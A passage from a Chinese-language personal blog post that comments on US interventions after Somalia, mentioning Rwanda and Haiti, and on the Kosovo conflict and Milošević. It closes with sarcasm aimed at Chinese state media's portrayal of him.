                          此后多年，只要不涉及美国利益，美国对与自己无关的地区冲突始终不敢再贸然插手，生怕重蹈索马里的覆辙。例如卢旺达大屠杀，美国一开始就明确表达对此无意插手，甚至在联合国决议中，美国都拒绝将“种族大屠杀”写进去，以此摆脱国际社会的压力。（但是说实话，在这件事上，一开始，不仅美国，整个国际社会都是在袖手旁观。联合国想要派一支维和部队过去，但是却根本找不到一个国家愿意出兵，当然，这包括咱中国）

                          而美国人的索马里恐惧症（这是我创造的词汇）最滑稽的一幕则是发生在海地。1994年海地内乱，联合国派遣部队去维和，部队主要是美国和加拿大士兵。当美国登陆舰到达海地时，海地军政府雇佣了很多人进行示威，标语上写着“欢迎到摩加迪沙来”（摩加迪沙是索马里城市），暗示这里是美国的“第二个索马里”。美国政府看到这个，当即就下令登陆舰回航。能把美国政府吓成这样简直是个奇迹啊！

                          科索沃

                          科索沃是个神奇的地方，做个不恰当的类比，它就好像是我们的西藏或台湾的问题。只是科索沃的历史更加久远复杂。从9世纪以来，科索沃就被不同的国家占来占去，更糟糕的一点是，阿尔巴尼亚人和塞尔维亚人都认为科索沃在历史上是自己的祖国，都对科索沃提出要求，科索沃的阿尔巴尼亚人更是要求科索沃独立。

                          还记得当年米洛舍维奇被很多国人视作英雄，顽强抵抗北约的侵略。但是米洛舍维奇被国际法庭审讯以及北约的干涉，最重要的原因却是他对科索沃地区进行种族清洗，仅仅一年的时间，2000多科索沃人被塞尔维亚军队杀死，20-30万人被驱逐或逃亡，对民众进行有计划的镇压和肆无忌惮的拷打，并将之作为战争手段实施。当然同样，科索沃人也犯了许多类似的严重罪行。北约的干涉最主要的动力来自对爆发难民潮的忧虑，因为这会严重影响本国的社会稳定与经济状况。当然据说美国插手的动力之一则是克林顿希望转移他与莱温斯基的绯闻问题。

                          最后，要感谢党，感谢国家，感谢CCTV，一个进行种族清洗的罪人硬生生成为了我们眼里的反帝英雄。

                          Recent Comments

                            ]]>                             http://shizhao.org/2011/12/wars-of-usa/feed/ 0